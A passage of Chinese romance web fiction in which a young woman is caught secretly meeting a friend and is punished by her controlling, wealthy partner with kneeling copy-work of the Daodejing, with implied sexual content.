用晚餐时,两人都很安静,只有偶尔汤匙碰到瓷碗发出撞击声。李秀桦疑惑的目光偷偷在两人中间巡视,什么也不敢问。
夜晚回到卧室,他在后面动作着,掰住她下巴接吻。
她身体摇摇晃晃,就要跌倒,他的手覆在她手上,牢牢扣在桌沿。
“站稳了。”
夜色浓稠,男人一如既往强势命令。
宋辞音抬眸,撞进他深邃冷肃的眼瞳,眸光沾染情欲,反而让他形容可怖,更有距离感,好似遥远的神祗。
在紧要关头,陆明彰将她的脸扭正,她眉蹙眼阖,婉转娇啼,不曾见过他意乱情迷的神情。
他似乎发了狠,一次不足以餍足。
午夜过半,不知过了多久他才停止,宋辞音顾不上清理,倒头沉沉睡去。
第二日还要去上徐老师课程的,她早早醒来,培训班集体群里有徐老师昭告全体的消息,说是临时被学校通知要去广东出差,年前课程暂时结束。
年前不用再上课,宋辞音时间一下又宽松下来。
陆明彰起床时,她放下手机假装还在睡
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,生怕他发现自己已经醒了,被抓着再做一次晨间运动。
等他洗漱完毕下楼,宋辞音才磨磨蹭蹭起床。
站在洗漱台前,她仔细观摩镜中人,比几个月前胖了点,脸色不再惨白憔悴。气血充盈,眼睛更亮了些。
视线下移,脖颈处有点点红痕,很明显。
想着他昨夜的凶狠,宋辞音气恼地换了件高领毛衣。
“有没有要告诉我的?”早餐时,身边男人冷不丁发问。
宋辞音舀起的馄饨又放回汤里,她纠结要不要告诉陆明彰年前课程已结束的事情,想了想还是选择隐瞒,这样她就有更多机会走出别墅。
“啊,我想想啊,暂时没想起来。”她埋首吃馄饨,声音含糊不清。
“啪”一声,是水杯掼在桌上的声响。
宋辞音脸对着碗埋得更低了,看不到他什么表情。
她想,看不见就是没有。
一早上过得胆颤心惊,她像往常一样,被司机放在培训班门口。
等到车子离开,转身又叫了出租车,来到和苏念一相约的园区大楼。
“实在太难拍了,最后的卡点会被做成剪影,但我头发太短了,剪影不够好看,带假发的话一点也不自然。”
苏念一带着小徒弟,向好友吐槽工作的难度。
小徒弟今年十八岁,也不认生,是社交达人,提议说:“要不让阿辞姐拍最后的剪影试试,你俩身高差不多,应该不会被看出来吧……”
“哎,我怎么没想到呢,这个主意好!”苏念一拉住好友手,狠狠亲了几下,可怜巴巴道,“你不帮我,谁帮我?”
宋辞音自然没办法拒绝。
苏念一固定好机位,小徒弟和宋辞音面向黑色背景墙,他的手虚搭在她腰上,随着节拍齐齐回头、定格。
“对对对,就这样,美的,美的,靠得再近一点点,哎,够了够了!来来,咱们再拍一条备选!”
在好友不吝赞美中,宋辞音再次回头定格,她视线一瞟,看到不远处的咖啡厅内,坐着一个熟悉的身影。
熟悉身影的对面,端坐一位身穿浅米色套装的长发美女,不知聊到什么,美女掩唇吃吃笑着,双眼大方向上瞧,含情脉脉。
好似心有灵犀,熟悉身影霍然侧了下脸,精锐眼风堪堪斜扫而来。
四目相对那一刻,苏念一不解问:“阿辞,你怎么了,脸色这么难看?”
27. 第 27 章
宋辞音连连摇头,垂下颤动眼睫,遮挡琥珀色瞳仁翻滚的担忧,少顷,鼓起勇气撩起眼睑,好奇又复杂望去一眼。
陆明彰早已收回视线,对面前美女说了什么。美女点点头,提起茶几上的包离开,她背影高挑而婀娜,仅背影就能看出家世教养很好的样子。
随后,她瞳孔紧缩,惊诧张开紧抿的唇。
他朝这走过来了。
男人身穿全套黑色西装,身形颀长挺拔,步伐稳重而生风,自带吸精气场。
他路过的地方,行人总是不自觉停顿侧目,眼前一亮后低下头匆匆快走。
更遑论那张风神俊朗的脸,实在让人无法忽视。
“哎哎,你看。”苏念一兴奋摇她胳膊,“左前方,有个超有质感的男人,快看啊,朝我们走过来了!”
苏念一一双桃花眼泛起惊艳光芒,兴奋逐渐被疑惑震惊替代,男人竟然走到他们跟前!
男人单手抄兜,刀刻斧凿般深邃五官冷冷垂视,雍然而慑人。
陡然的寂静让人窒息,宋辞音不敢看他眼睛,硬着头皮介绍:“这是我发小苏念一,这是她徒弟,他是……”停顿,呼气,“他是陆明彰。”
苏念一嘴巴长成圆圈的模样,“你好”喊出口,声音有点飘,瞠目结舌地盯着好友。
陆明彰淡淡“嗯”一声,面向苏念一:“劳烦,相机是否方便给我看下。”
明明是询问语句,却是不容置喙的气势。
“方便的,方便的,是今天拍的一些素材,您随便看。”苏念一赶忙把相机递到他手上。
屏幕映出男人眉头紧蹙的脸,修长手指快速点动,有专注的威严。
其余人看着他的操作,静悄悄的没人说话。
小徒弟躲到苏念一身后。
“好了。还有什么安排。”相机还给苏念一,话却是对宋辞音说的。
她此刻‘本该’在培训班里,哪里还敢有什么‘安排’。
宋辞音避开他的眼睛,嗓子含糊不清:“没……”
“那回家。”陆明彰说罢,扭头阔步往外走。
她一秒不敢犹豫,紧跟在他身后,做手势给好友再见。
苏念一龇牙咧嘴,手忙脚乱跟她打手语,看两人背影消失,掏出手机疯狂打字。
陆明彰从上车后,一句话未说。
宋辞音清楚,这是暴风雨前的平静。
“那个……今天老师不在,所以……所以我来找朋友玩,她是做颜值博主的,我就帮她拍了一点素材,不会看到脸的……”
她左手无意识地揉搓右手食指,埋着头,露出一段纤细净白的脖颈,只敢余光瞥身边人。
陆明彰扯开衬衫纽扣,露出一片紧绷贲张肌肉,疲惫按捏眉心。
浑身散发凛冽冷漠的讯息,仿佛在竭力克制什么东西冲出控制。
“你是不是在生气……”
他陡然侧脸,视线疏寒凶悍至可怖,冷箭霜刀般刺向她的眼。
宋辞音呼吸凝滞,听到他喉咙滚音:“……闭嘴。”
她慌乱咬住下唇,眼睫氤氲出湿色,两手绞着,不敢发出一丝声音。
车内落针可闻,静得可怕,偏偏这时候……
“噔——”
“噔——”
“噔——”
“噔噔噔——”
她手机传来紧密锣鼓的消息提示音。
啊——要死啊——
宋辞音心脏好似提到嗓子眼,死死按住减音键。
飞快瞥他一眼,男人维持按眉姿势,她这才敢点开手机,身体遮了遮,挡住屏幕上数行的感叹号。
苏念一:
【卧|槽啊!!!!!!你没说他长那么帅啊!!!!】
【死丫头,你也吃太好了!!!!】
【我把民政局搬你们门口行吗,请给我立马结婚!!!立刻!!!马上!!!】
【睡这么帅的男人,到底是什么感受啊!!!请你告诉我,别逼我跪下求你!!!】
【诶?我拍你的素材没有了,都被删了!!!】
宋辞音:…………
和陆明彰结婚?他们这种威逼利诱来的关系怎么可能结婚?
就算是正常情侣,成长背景和家境相差悬殊,根本没有任何结婚的可能。
更何况,她才不愿意和这样强硬复杂的男人结婚,一辈子还有什么趣味?
删掉素材,倒是他的风格……
暂时无法回复,她摁灭屏幕。
陆明彰紧拽住她胳膊下车,火急火燎,走得又快又急。
宋辞音脚步未踩稳,手猛然一甩,撞到车门,“咚”一声,声音响亮,她眼泪立即飞出。
他置若罔闻,拖着人快步走。
此时已然寒冬,车内暖气充足,室外寒气刺骨,吹得人脸疼,手也在疼。
李秀桦正在插花,听到门口动静,还没放下百合便向门口迎:“回来了。”
笑意还挂在脸上,瞬间凝结,她不好上前劝,担忧地看着电梯门阖上。
陆明彰神色冷到冰点,带有阴鸷的狠戾。宋辞音满脸都是泪,嘴角嗡动,咬住唇不敢发出声。
书房门虚掩着,轻轻一退就打开,她被摔到真皮沙发上,不疼,但头贴在沙发靠垫,仰头望向他居高临下的眸光,惊惧和委屈加深蔓延。心里像是被拉开一个口子,空洞又痛。
“陆明彰,我错了。”她睫毛挂着泪,小心翼翼扯住它硬挺裤脚,“老师请假了,年前没有课了,我应该早上就告诉你的。都怪我贪玩,所以没告诉你,跑去找我朋友……”
他黑色眼瞳直直望着她,像深潭一样望不见底,包含太多,精锐的鹰目好似定住。
越是这样越恐怖,等待她的不知是什么……
“我真的知道错了,肯定不会再有下次了。”
“宋辞音。”他胸膛剧烈起伏,呼出的气息灼热滚烫,目光始终是冷的,“你认错太多次,我不想听了。”
她屏住呼吸,一滴泪滚落:“我知道……”
“你让我没耐心了。”手抚在她后脑,似呢喃,眼瞳光芒因压抑折射成细碎的光,片刻的无能为力转瞬消失,“你说,我应该拿你怎么办?”
“对不起……”
“认错快,从来不改,你说我是不是应该惩罚你。”
某些不好的画面冲撞进脑海,宋辞音惊恐摇头:“不要,不要。”
陆明彰霍然直起身,沉寂片刻,像是抓住什么一把扔到沙发上。
宋辞音惶恐闭眼又不确定睁开,常翻的《道德经》躺在脚边。
他扬起下巴,拧眉喝道:“去抄。”
她一怔,这是……体罚的意思吗?
《道德经》全文五千一百六十二字啊,手写要写到什么时候……
但已经很好
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了,至少不像是上次那样粗暴对待她……
宋辞音抓起《道德经》揣进怀里,走向书桌。
“上哪去。还想去桌子,你就在这抄。”陆明彰目光冷冷落在沙发上。
“那我去拿纸和笔……”
翻开《道德经》第一页,A4大小的白纸铺陈在沙发上,因沙发高度,她只能跪在地板上。
起初还不觉有什么,写字没到两行,两边膝盖渐渐疼痛不适。
她只好先收起一条腿,半跪着,当难以忍受,再换另一只腿……
就这么循环往复。
写了也不到五百字……
陆明彰走出书房,李秀换递来一杯热茶,是陈皮普洱,香气馥郁,带着淡淡的苦涩。他向来不爱喝咖啡,吃用不习惯西方的一切。
“去送个垫子。”
李秀桦接住茶杯,反应了下,意识到应该是指的宋辞音,点点头:“我明白。”
陆明彰阴翳未消,怒气沉沉钻进专用的书房。
李秀桦进屋时,宋辞音正愁着一张脸揉搓膝盖。
“来来来,用这个。”把人小心扶起,厚实软垫放在膝盖下,还不忘为主家邀功,“是明彰让我给你的,他就这脾气,生气归生气,还是挺心疼你的。”
宋辞音写字的笔一顿,哭后的声音略嘶哑:“我才不信呢。”
“是真的,你这孩子,我骗你干嘛?你想想,如果不是他吩咐的,谁敢给你拿软垫?”
写字的人不说话了。
李秀桦循循善诱,车轱辘话反复说:“他就这脾气,你就顺着他,别和他对着干,等会他来了,再说点好听的求求他,他心不硬的。把话说开了,就不用写这个了,还罚抄写,哎,又不是小孩子了。这也说明啊,他不舍得让你干别的……”
“好了好了。”宋辞音手悬在半空,迟迟落不下笔,“我都知道了,您先出去吧。”
“好好好,我不唠叨了。”她无奈摇头,自言自语,“这孩子,恋爱谈成这样……”
书房门被带上,偌大的空间,只留她一人,圆珠笔划着纸张,发出沙沙声。
她想,她和陆明彰怎么可能是在谈恋爱呢。
大约两个小时后,惩罚任务完成度达四分之一,双腿早就酸麻,她站起身,使劲躲躲脚。腹部传来抗议,咕咕声震耳欲聋。
陆明彰推开门,矗立在门框,没有进来的意思。
宋辞音慌张蹲下,回望他,小声说:“腿麻了……”
男人只淡淡看她一眼,那目光没什么感情,像是巡视不相干的人。
在他预备拉门离开,宋辞音飞快奔去,下半身还扑在地上,上身牢牢抱住他大腿。
抬头,露出小鹿般黑葡大眼,可怜兮兮望着他:“真的知道错了,我饿了……”
男人神色未有松动:“松开。”
她抱得更紧了:“不松,就不松。”
陆明彰无奈闭眼,又睁开:“不抄完别想吃饭。”说罢,转身就要走。
他想走,她怎么拦的住?
“真的好饿了,现在就想吃。”宋辞音却是下定决心,眼看两条长腿将要脱离控制,慌忙往前扑,两臂卯足劲拖抱。
好死不死的,其中有只手没掌握好方向,放在了……放在了某个敏感的地方,且因为比较紧迫,五指也使了很大的力气……
啊,怎么办,这下不是抄书这么简单了……